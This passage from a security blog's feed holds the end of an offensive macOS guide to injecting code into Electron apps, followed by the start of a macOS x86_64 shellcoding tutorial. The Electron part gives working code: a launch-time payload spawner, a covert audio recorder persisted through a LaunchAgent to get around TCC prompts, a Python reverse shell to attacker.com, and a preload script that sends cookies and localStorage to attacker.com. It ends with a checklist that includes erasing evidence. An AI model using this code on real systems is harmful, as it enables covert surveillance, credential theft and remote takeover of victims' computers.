<span class="kd">const</span> <span class="nx">payloadPath</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">os</span><span class="p">.</span><span class="nx">homedir</span><span class="p">(),</span> <span class="dl">'</span><span class="s1">.local</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">payload</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Execute on every app launch</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">).</span><span class="nx">existsSync</span><span class="p">(</span><span class="nx">payloadPath</span><span class="p">))</span> <span class="p">{</span>
    <span class="nx">spawn</span><span class="p">(</span><span class="nx">payloadPath</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
        <span class="na">stdio</span><span class="p">:</span> <span class="dl">'</span><span class="s1">ignore</span><span class="dl">'</span>
    <span class="p">}).</span><span class="nx">unref</span><span class="p">();</span>
<span class="p">}</span>

<span class="c1">// Original code continues below...</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">app</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">// ...</span>
</code></pre></div></div>

<p><strong>Repackaging:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Repack modified source</span>
npx asar pack extracted/ app.asar

<span class="c"># Backup original</span>
<span class="nb">cp</span> /Applications/Discord.app/Contents/Resources/app.asar <span class="se">\</span>
   /Applications/Discord.app/Contents/Resources/app.asar.bak

<span class="c"># Replace with modified version</span>
<span class="nb">cp </span>app.asar /Applications/Discord.app/Contents/Resources/app.asar

<span class="c"># Test - should execute payload on launch</span>
open /Applications/Discord.app
</code></pre></div></div>

<h4 id="method-4-launchagent-tcc-bypass">Method 4: LaunchAgent TCC Bypass</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target app has camera/microphone TCC permissions</li>
  <li>Need to bypass TCC without user prompt</li>
  <li>Want invisible background execution</li>
</ul>

<p><strong>Audio Recording Payload:</strong></p>

<pre><code class="language-objective-c">// record-audio.m
#import &lt;AVFoundation/AVFoundation.h&gt;

@interface AudioRecorder : NSObject &lt;AVCaptureFileOutputRecordingDelegate&gt;
@property (strong) AVCaptureSession *session;
@property (strong) AVCaptureAudioFileOutput *output;
@end

@implementation AudioRecorder

-(void)start {
    AVCaptureDevice *device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    self.session = [[AVCaptureSession alloc] init];

    AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];
    self.output = [[AVCaptureAudioFileOutput alloc] init];

    [self.session addInput:input];
    [self.session addOutput:self.output];
    [self.session startRunning];

    NSString *outPath = [NSString stringWithFormat:@"/tmp/rec-%@.m4a",
                         [[NSProcessInfo processInfo] globallyUniqueString]];

    [self.output startRecordingToOutputFileURL:[NSURL fileURLWithPath:outPath]
                                outputFileType:AVFileTypeAppleM4A
                             recordingDelegate:self];

    // Stop after 30 seconds
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 30 * NSEC_PER_SEC),
                   dispatch_get_main_queue(), ^{
        [self.output stopRecording];
    });
}

-(void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray *)connections
                error:(NSError *)error {
    [self.session stopRunning];
    NSLog(@"Saved to: %@", outputFileURL.path);
    exit(0);
}

@end

int main() {
    @autoreleasepool {
        AudioRecorder *rec = [[AudioRecorder alloc] init];
        [rec start];
        [[NSRunLoop currentRunLoop] run];
    }
}
</code></pre>

<p><strong>Compile:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> AVFoundation record-audio.m <span class="nt">-o</span> record-audio
</code></pre></div></div>

<p><strong>LaunchAgent PLIST:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.audio.capture<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>EnvironmentVariables<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;dict&gt;</span>
        <span class="nt">&lt;key&gt;</span>ELECTRON_RUN_AS_NODE<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>1<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>require('child_process').spawn('/Users/user/record-audio')<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>StartInterval<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;integer&gt;</span>3600<span class="nt">&lt;/integer&gt;</span>  <span class="c">&lt;!-- Run every hour --&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><strong>Deploy:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>com.audio.capture.plist ~/Library/LaunchAgents/
launchctl load ~/Library/LaunchAgents/com.audio.capture.plist

<span class="c"># Check logs</span>
<span class="nb">tail</span> <span class="nt">-f</span> /tmp/rec-<span class="k">*</span>.m4a
</code></pre></div></div>

<h4 id="method-5-unpacked-source-direct-modification">Method 5: Unpacked Source Direct Modification</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target doesn’t use .asar archive</li>
  <li>Source files in Resources/app/ directory</li>
  <li>Faster than extract/repack cycle</li>
</ul>

<p><strong>Detection:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check for unpacked source</span>
<span class="nb">ls</span> <span class="nt">-la</span> /Applications/SomeApp.app/Contents/Resources/app/

<span class="c"># If directory exists (not .asar file), source is unpacked</span>
<span class="c"># Output:</span>
<span class="c"># drwxr-xr-x  main/</span>
<span class="c"># drwxr-xr-x  renderer/</span>
<span class="c"># -rw-r--r--  package.json</span>
</code></pre></div></div>

<p><strong>Direct Injection:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find main entry</span>
<span class="nv">MAIN</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> /Applications/SomeApp.app/Contents/Resources/app/package.json | <span class="se">\</span>
       jq <span class="nt">-r</span> <span class="s1">'.main'</span><span class="si">)</span>

<span class="c"># Backup original</span>
<span class="nb">cp</span> <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="nv">$MAIN</span><span class="s2">"</span> <span class="se">\</span>
   <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="k">${</span><span class="nv">MAIN</span><span class="k">}</span><span class="s2">.bak"</span>

<span class="c"># Create injection payload</span>
<span class="nb">cat</span> <span class="o">&gt;</span> /tmp/inject.js <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
const { spawn } = require('child_process');
const path = require('path');

// Reverse shell payload
const payload = `
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("attacker.com",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'
`;

spawn('bash', ['-c', payload], {
    detached: true,
    stdio: 'ignore'
}).unref();
</span><span class="no">
EOF

</span><span class="c"># Prepend injection to main file</span>
<span class="nb">cat</span> /tmp/inject.js <span class="o">&gt;</span> /tmp/newmain.js
<span class="nb">cat</span> <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="nv">$MAIN</span><span class="s2">"</span> <span class="o">&gt;&gt;</span> /tmp/newmain.js
<span class="nb">cp</span> /tmp/newmain.js <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="nv">$MAIN</span><span class="s2">"</span>
</code></pre></div></div>

<h4 id="method-6-preload-script-injection">Method 6: Preload Script Injection</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Want to inject into renderer process</li>
  <li>Need access to Node.js APIs in browser context</li>
  <li>Target uses <code class="language-plaintext highlighter-rouge">webPreferences.preload</code></li>
</ul>

<p><strong>Identify Preload Scripts:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Search for preload configurations</span>
npx asar extract app.asar extracted/
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"preload:"</span> extracted/ <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>

<span class="c"># Output shows:</span>
<span class="c"># extracted/main.js:  webPreferences: { preload: path.join(__dirname, 'preload.js') }</span>
</code></pre></div></div>

<p><strong>Inject into Preload:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Add to beginning of preload.js</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">ipcRenderer</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Exfiltrate localStorage data</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">DOMContentLoaded</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">sensitive</span> <span class="o">=</span> <span class="p">{</span>
        <span class="na">localStorage</span><span class="p">:</span> <span class="nb">window</span><span class="p">.</span><span class="nx">localStorage</span><span class="p">,</span>
        <span class="na">cookies</span><span class="p">:</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">,</span>
        <span class="na">url</span><span class="p">:</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span>
    <span class="p">};</span>

    <span class="c1">// Send to attacker</span>
    <span class="kd">const</span> <span class="nx">exfil</span> <span class="o">=</span> <span class="nx">spawn</span><span class="p">(</span><span class="dl">'</span><span class="s1">curl</span><span class="dl">'</span><span class="p">,</span> <span class="p">[</span>
        <span class="dl">'</span><span class="s1">-X</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">-H</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Content-Type: application/json</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">-d</span><span class="dl">'</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">sensitive</span><span class="p">),</span>
        <span class="dl">'</span><span class="s1">https://attacker.com/exfil</span><span class="dl">'</span>
    <span class="p">]);</span>
<span class="p">});</span>

<span class="c1">// Original preload code continues...</span>
</code></pre></div></div>

<h2 id="exploitation-tips-1">Exploitation Tips</h2>

<p><strong>Pre-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Identify Electron app (check for app.asar or Electron Framework)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify version: <code class="language-plaintext highlighter-rouge">strings AppName | grep "Chrome/"</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check fuse configuration for RunAsNode</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test ELECTRON_RUN_AS_NODE environment variable</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test –inspect flag acceptance</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Identify TCC permissions: <code class="language-plaintext highlighter-rouge">tccutil list</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check write permissions on app bundle</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify if asar is packed or unpacked source</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Locate main entry point from package.json</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check for integrity verification in code</li>
</ul>

<p><strong>Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Choose attack method (env var, debug, source mod)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Prepare payload binary (audio/video capture, reverse shell)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test payload works standalone first</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />If using LaunchAgent, craft PLIST with proper environment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />If modifying source, extract and backup original</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Inject payload at earliest execution point</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />If using asar, repack with same compression</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Replace original file (backup first)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Clear quarantine flags if needed: <code class="language-plaintext highlighter-rouge">xattr -cr AppName.app</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test injection triggers on app launch</li>
</ul>

<p><strong>Post-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify payload executes: check process list</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Confirm TCC inheritance: check spawned process permissions</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Monitor output: <code class="language-plaintext highlighter-rouge">/tmp/</code> files, network connections</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish persistence if needed (LaunchAgent, login items)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Clean up evidence: remove backups, clear logs</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test app still functions normally (stealth)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Document which method worked for future reference</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="Notes" /><category term="notes" /><category term="macOS" /><category term="exploitation" /><category term="xpc" /><category term="apple" /><category term="codesign" /><summary type="html"><![CDATA[Practical OSMR Notes and Guide Lines for researching macos vulnerabilities]]></summary></entry><entry><title type="html">macOS: Shellcoding on Apples (x86_64)</title><link href="https://zeyadazima.com/macos/shellcoding_on_macos_64/" rel="alternate" type="text/html" title="macOS: Shellcoding on Apples (x86_64)" /><published>2025-11-24T00:00:00+00:00</published><updated>2025-11-24T00:00:00+00:00</updated><id>https://zeyadazima.com/macos/shellcoding_on_macos_64</id><content type="html" xml:base="https://zeyadazima.com/macos/shellcoding_on_macos_64/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This guide explores shellcoding on the <code class="language-plaintext highlighter-rouge">x86_64</code> architecture for <code class="language-plaintext highlighter-rouge">macOS</code>, bypassing the traditional x86 starting point for a practical reason: with the release of macOS 10.15 (<code class="language-plaintext highlighter-rouge">Catalina</code>), Apple discontinued support for <code class="language-plaintext highlighter-rouge">32-bit</code> applications entirely. Since <code class="language-plaintext highlighter-rouge">x86_64</code> maintains backward compatibility with x86 code anyway, focusing on <code class="language-plaintext highlighter-rouge">64-bit</code> shellcoding makes the most sense for modern <code class="language-plaintext highlighter-rouge">macOS</code> systems. Before diving in, you’ll need at least a basic understanding of assembly language—this isn’t an assembly tutorial, so if you’re unfamiliar with the fundamentals, take some time to learn them first and return when you’re ready for the challenge. Rather than immediately jumping into cryptic assembly instructions, this guide follows a practical workflow: start by writing code in <code class="language-plaintext highlighter-rouge">C</code>, identify the necessary system calls, and then translate everything into assembly. This approach leverages the wealth of existing <code class="language-plaintext highlighter-rouge">C</code> documentation and resources, making the process significantly more manageable. You’ll find countless examples of how to build network clients, manipulate processes, or execute commands in <code class="language-plaintext highlighter-rouge">C</code>, but you’d be hard-pressed to find someone talking about implementing these same tasks purely in assembly. Let’s start with our Blogpost.</p>

<blockquote>
  <p>You can find all the code on my github: <a href="https://github.com/Zeyad-Azima/macOShellcoding">https://github.com/Zeyad-Azima/macOShellcoding</a></p>
</blockquote>

<h1 id="lab-setup">Lab Setup</h1>

<p>Let’s Setup our Lab and the required tools, Let’s list all the other tools we need.</p>

<ul>
  <li>Homebrew</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/bash <span class="nt">-c</span> <span class="s2">"</span><span class="si">$(</span>curl <span class="nt">-fsSL</span> https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh<span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<ul>
  <li>Xcode:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>We can download it from `AppStore`.
or: https://xcodereleases.com
</code></pre></div></div>

<ul>
  <li>Xcode Command Line Tools (CLT)</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xcode-select <span class="nt">--install</span>
</code></pre></div></div>

<ul>
  <li>Nasm</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nb">install </span>nasm
</code></pre></div></div>

<ul>
  <li>Binutils (<code class="language-plaintext highlighter-rouge">ld</code>)</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nb">install </span>binutils
</code></pre></div></div>

<p>Before we go on straight to shellcoding, We need to understand some FUNDAMENTALS first we would be using to be able to write shellcodes. As we know the macos kernel (<code class="language-plaintext highlighter-rouge">XNU</code>) is a hybrid kernel which contains also <code class="language-plaintext highlighter-rouge">BSD</code>. We need to download the <code class="language-plaintext highlighter-rouge">XNU</code> source code. Cause we will use it for references in creating ours shellcodes and understanding <code class="language-plaintext highlighter-rouge">syscalls</code> on <code class="language-plaintext highlighter-rouge">macOS</code>. We can download it from <a href="https://opensource.apple.com/releases/">here</a>.</p>

<p>Now, We need to download the source code version that matches the macOS you writing the shellcode for. I am on <code class="language-plaintext highlighter-rouge">macOS Sequoia</code> and the version is <code class="language-plaintext highlighter-rouge">macOS 15.5</code>. You can use <code class="language-plaintext highlighter-rouge">sw_vers</code> command to check it.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ % sw_vers
ProductName:		macOS
ProductVersion:		15.5
BuildVersion:		24F74
</code></pre></div></div>

<p>Now, Let’s download the <code class="language-plaintext highlighter-rouge">XNU</code> VERSION FOR it.</p>

<p><img width="1130" height="575" alt="image" src="https://github.com/user-attachments/assets/7b194e38-5dbc-4f67-bd69-fa5b4510f214" /></p>

<p>When we scroll down more we can find it.</p>

<p><img width="935" height="195" alt="image" src="https://github.com/user-attachments/assets/b7798f9c-1077-4967-927d-0132ad2d3048" /></p>

<p>That’s the version (<code class="language-plaintext highlighter-rouge">xnu-11417.121.6</code>) of <code class="language-plaintext highlighter-rouge">macOS 15.5</code>.</p>

<h1 id="xnu-syscall-classes">XNU Syscall Classes</h1>
<p>Now, Let’s open it with <code class="language-plaintext highlighter-rouge">VSCode</code> or your favorite <code class="language-plaintext highlighter-rouge">IDE/CodeEditor</code>.</p>

<p><img width="339" height="714" alt="image" src="https://github.com/user-attachments/assets/4fb70323-3964-4270-9897-dcaf9c9aa4e9" /></p>

<p>All these files and folders for kernel we will use just some of it to understand the basics, But while we writing our shellcodes we would be navigating a lot through different files and folders. First Let’s go to <code class="language-plaintext highlighter-rouge">osfmk/mach/i386/syscall_sw.h</code>.</p>

<p><img width="1225" height="469" alt="image" src="https://github.com/user-attachments/assets/8766a5a2-ee46-4cc5-ad02-dbe9311b9fa1" /></p>

<p>starting on line <code class="language-plaintext highlighter-rouge">135</code> till <code class="language-plaintext highlighter-rouge">152</code>, That’s what matters of us. In here as we know and mentioned before that <code class="language-plaintext highlighter-rouge">XNU</code> is hybrid, So if you want to make execute a syscall for related to <code class="language-plaintext highlighter-rouge">BSD</code> you would need to define the entry to it.</p>

<pre><code class="language-C">#define SYSCALL_CLASS_SHIFT	24
#define SYSCALL_CLASS_MASK	(0xFF &lt;&lt; SYSCALL_CLASS_SHIFT)
#define SYSCALL_NUMBER_MASK	(~SYSCALL_CLASS_MASK)
......
#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */	
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */
</code></pre>

<p>In <code class="language-plaintext highlighter-rouge">XNU</code> (the kernel underlying <code class="language-plaintext highlighter-rouge">macOS</code>, <code class="language-plaintext highlighter-rouge">iOS</code>, etc.), system calls are not uniformly accessed via a single syscall table like in <code class="language-plaintext highlighter-rouge">Linux</code>. Instead, <code class="language-plaintext highlighter-rouge">XNU</code> uses syscall classes to route calls through different subsystems. Each system call class is associated with a unique number, which is shifted left by 24 bits (defined by <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_SHIFT</code>) to determine its class. So for every class to get the entry it will be as the following:</p>

<table>
  <thead>
    <tr>
      <th>Class</th>
      <th>Name</th>
      <th>Value</th>
      <th>Shifted Base (<code class="language-plaintext highlighter-rouge">&lt;&lt; 24</code>)</th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_NONE</code></td>
      <td>0</td>
      <td><code class="language-plaintext highlighter-rouge">0x00000000</code></td>
      <td>Invalid</td>
    </tr>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code></td>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">0x01000000</code></td>
      <td>Mach traps</td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code></td>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">0x02000000</code></td>
      <td><strong>BSD syscalls</strong></td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MDEP</code></td>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">0x03000000</code></td>
      <td>Machine-dependent</td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_DIAG</code></td>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">0x04000000</code></td>
      <td>Diagnostics</td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_IPC</code></td>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">0x05000000</code></td>
      <td>Mach IPC (newer)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>BSD = 0x02 « 24 = 0x02000000 → 0x2000000</p>
</blockquote>

<p>The <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MASK</code> and <code class="language-plaintext highlighter-rouge">SYSCALL_NUMBER_MASK</code> are used to extract the class and syscall number respectively. For example, a traditional <code class="language-plaintext highlighter-rouge">BSD</code> system call such as <code class="language-plaintext highlighter-rouge">execve</code> (system call number <code class="language-plaintext highlighter-rouge">59</code> or <code class="language-plaintext highlighter-rouge">0x3b</code> in hex) in the <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (number <code class="language-plaintext highlighter-rouge">2</code>) would be represented as <code class="language-plaintext highlighter-rouge">0x200003b</code> when passed to the syscall assembly instruction.</p>

<pre><code class="language-asm">; Assembly example to make a syscall with execve (BSD) in macOS
mov rax, 0x200003b  ; Load the syscall number for execve (59 with class mask)
mov rdi, address    ; Address of the command to execute
mov rsi, argv       ; Pointer to an array of arguments
mov rdx, envp       ; Pointer to an array of environment variables
syscall             ; Make the system call
</code></pre>

<p>To make it clear, You’re dining in the <code class="language-plaintext highlighter-rouge">XNU</code> restaurant, a multi-level establishment where each floor represents a different system call class, and the kitchen routes your order based on a cleverly encoded ticket. The first floor, <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code> (class 1), serves hearty main courses like task and thread operations, while the second floor, <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (class 2), specializes in classic <code class="language-plaintext highlighter-rouge">BSD</code> desserts such as <code class="language-plaintext highlighter-rouge">execve</code> and <code class="language-plaintext highlighter-rouge">write</code>. To order a medium-rare steak — item number <code class="language-plaintext highlighter-rouge">0x3B</code> (59) on the Mach floor — you must tell the waiter <code class="language-plaintext highlighter-rouge">0x0100003B</code>, calculated as <code class="language-plaintext highlighter-rouge">(1 &lt;&lt; 24) | 0x3B</code>. Craving tiramisu (<code class="language-plaintext highlighter-rouge">execve</code>, also #59) from the <code class="language-plaintext highlighter-rouge">BSD</code> floor? Your order becomes <code class="language-plaintext highlighter-rouge">0x0200003B</code> — same dish number, different floor, computed as <code class="language-plaintext highlighter-rouge">(2 &lt;&lt; 24) | 0x3B</code>. Just like in <code class="language-plaintext highlighter-rouge">XNU</code>, never shout just “59” — the kitchen needs the full encoded number with the class shifted 24 bits left, ensuring your steak doesn’t arrive as a dessert (and vice versa). Bon appétit in the kernel!</p>

<h1 id="x86_64-calling-conventions-and-registers">x86_64 Calling Conventions and Registers</h1>

<p>In the <strong>x86-64 System</strong> used by macOS, function arguments are passed via registers in this order: <code class="language-plaintext highlighter-rouge">RDI</code> holds the 1st argument, <code class="language-plaintext highlighter-rouge">RSI</code> the 2nd, <code class="language-plaintext highlighter-rouge">RDX</code> the 3rd (and sometimes the 2nd return value), <code class="language-plaintext highlighter-rouge">RCX</code> the 4th, <code class="language-plaintext highlighter-rouge">R8</code> the 5th, and <code class="language-plaintext highlighter-rouge">R9</code> the 6th. The return value (or syscall number) is placed in <code class="language-plaintext highlighter-rouge">RAX</code>, while <code class="language-plaintext highlighter-rouge">RIP</code> points to the next instruction, <code class="language-plaintext highlighter-rouge">RSP</code> manages the stack (and must be <strong>16-byte aligned</strong> before any function call), <code class="language-plaintext highlighter-rouge">RBP</code> serves as the frame pointer for stack frames, and <code class="language-plaintext highlighter-rouge">RBX</code> acts as a general-purpose base register often preserved across calls. If a function requires more than six arguments, additional arguments are passed on the stack. It is essential to ensure that the <code class="language-plaintext highlighter-rouge">RSP</code> is properly aligned before making a function call. Despite system calls often working without strict alignment, adhering to this requirement is a good practice to avoid unexpected behavior. To illustrate how these registers are used in a function call, consider a function <code class="language-plaintext highlighter-rouge">foo</code> that takes three arguments.</p>

<pre><code class="language-asm">; Assume arg1, arg2, and arg3 are already set with appropriate values
mov rax, syscall_number
mov rdi, arg1 ; 1st argument
mov rsi, arg2 ; 2nd argument
mov rdx, arg3 ; 3rd argument
syscall      ; Execute syscall
</code></pre>

<h2 id="calling-conventions-table">Calling Conventions Table</h2>

<p>You can use this table as a reference.</p>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDI</code></td>
      <td>1st function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSI</code></td>
      <td>2nd function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDX</code></td>
      <td>3rd function argument (and optionally the 2nd return value)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RCX</code></td>
      <td>4th function argument</td>
    </tr>
    <tr>
